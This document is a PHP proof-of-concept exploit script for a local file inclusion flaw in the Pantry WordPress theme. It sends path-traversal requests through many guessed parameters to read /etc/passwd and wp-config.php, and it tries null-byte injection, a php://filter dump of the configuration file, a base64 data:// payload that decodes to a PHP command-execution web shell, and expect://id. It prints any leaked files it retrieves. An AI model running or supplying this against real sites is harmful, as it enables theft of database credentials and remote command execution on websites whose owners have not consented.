<?php
/**
* CVE-2025-58929 PoC - Pantry WordPress Theme Local File Inclusion
* Affected: axiomthemes Pantry WordPress Theme <= 1.4
* CVSS: 8.1 (High)
*
* Usage: php poc.php <target_url> <vulnerable_path>
* Example: php poc.php http://target.com/wp-content/themes/pantry/
*/
// Check if target URL is provided
if ($argc < 2) {
echo "Usage: php poc.php <target_url> [vulnerable_path]\n";
echo "Example: php poc.php http://target.com/wp-content/themes/pantry/\n";
exit(1);
}
$target = rtrim($argv[1], '/');
$vulnerablePath = isset($argv[2]) ? $argv[2] : '';
// List of common LFI patterns in WordPress themes
$lfiPatterns = [
// Pattern 1: Direct file parameter
"{$vulnerablePath}?file=../../../../etc/passwd",
"{$vulnerablePath}?file=../../../../wp-config.php",
// Pattern 2: Include parameter
"{$vulnerablePath}?include=../../../../etc/passwd",
"{$vulnerablePath}?include=../../../../wp-config.php",
// Pattern 3: Theme file parameter
"{$vulnerablePath}?theme=../../../../etc/passwd",
"{$vulnerablePath}?theme=../../../../wp-config.php",
// Pattern 4: Template parameter
"{$vulnerablePath}?template=../../../../etc/passwd",
"{$vulnerablePath}?template=../../../../wp-config.php",
// Pattern 5: Path parameter
"{$vulnerablePath}?path=../../../../etc/passwd",
"{$vulnerablePath}?path=../../../../wp-config.php",
// Pattern 6: Page parameter
"{$vulnerablePath}?page=../../../../etc/passwd",
"{$vulnerablePath}?page=../../../../wp-config.php",
// Pattern 7: Action parameter
"{$vulnerablePath}?action=../../../../etc/passwd",
"{$vulnerablePath}?action=../../../../wp-config.php",
// Pattern 8: Load parameter
"{$vulnerablePath}?load=../../../../etc/passwd",
"{$vulnerablePath}?load=../../../../wp-config.php"
];
// Null byte injection (for older PHP versions)
$nullBytePatterns = [
"{$vulnerablePath}?file=../../../../etc/passwd%00",
"{$vulnerablePath}?file=../../../../wp-config.php%00"
];
// PHP wrapper exploitation
$wrapperPatterns = [
"{$vulnerablePath}?file=php://filter/read=convert.base64-encode/resource=wp-config.php",
"{$vulnerablePath}?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+",
"{$vulnerablePath}?file=expect://id"
];
function testLFI($url) {
$context = stream_context_create([
'http' => [
'method' => 'GET',
'timeout' => 10,
'ignore_errors' => true
]
]);
$response = @file_get_contents($url, false, $context);
return $response;
}
echo "[*] CVE-2025-58929 PoC - Pantry Theme LFI\n";
echo "[*] Target: {$target}\n";
echo "[*] Testing LFI patterns...\n\n";
// Test basic LFI patterns
echo "[+] Testing basic LFI patterns...\n";
foreach ($lfiPatterns as $pattern) {
$url = $target . $pattern;
echo "[*] Testing: {$url}\n";
$response = testLFI($url);
if ($response !== false &&
(strpos($response, 'root:') !== false ||
strpos($response, '<?php') !== false ||
strpos($response, 'DB_NAME') !== false)) {
echo "[!] VULNERABLE! Found sensitive data.\n";
echo $response . "\n\n";
}
}
// Test null byte injection
echo "[+] Testing null byte injection...\n";
foreach ($nullBytePatterns as $pattern) {
$url = $target . $pattern;
echo "[*] Testing: {$url}\n";
$response = testLFI($url);
if ($response !== false &&
(strpos($response, 'root:') !== false ||
strpos($response, '<?php') !== false)) {
echo "[!] VULNERABLE! Null byte injection worked.\n";
echo $response . "\n\n";
}
}
// Test PHP wrappers
echo "[+] Testing PHP wrappers...\n";
foreach ($wrapperPatterns as $pattern) {
$url = $target . $pattern;
echo "[*] Testing: {$url}\n";
$response = testLFI($url);
if ($response !== false && strlen($response) > 0) {
echo "[!] POTENTIALLY VULNERABLE! Response received.\n";
if (strlen($response) < 500) {
echo $response . "\n\n";
}
}
}
echo "[*] Scan complete.\n";
echo "\n[!] Note: This PoC is for authorized testing only.\n";
?>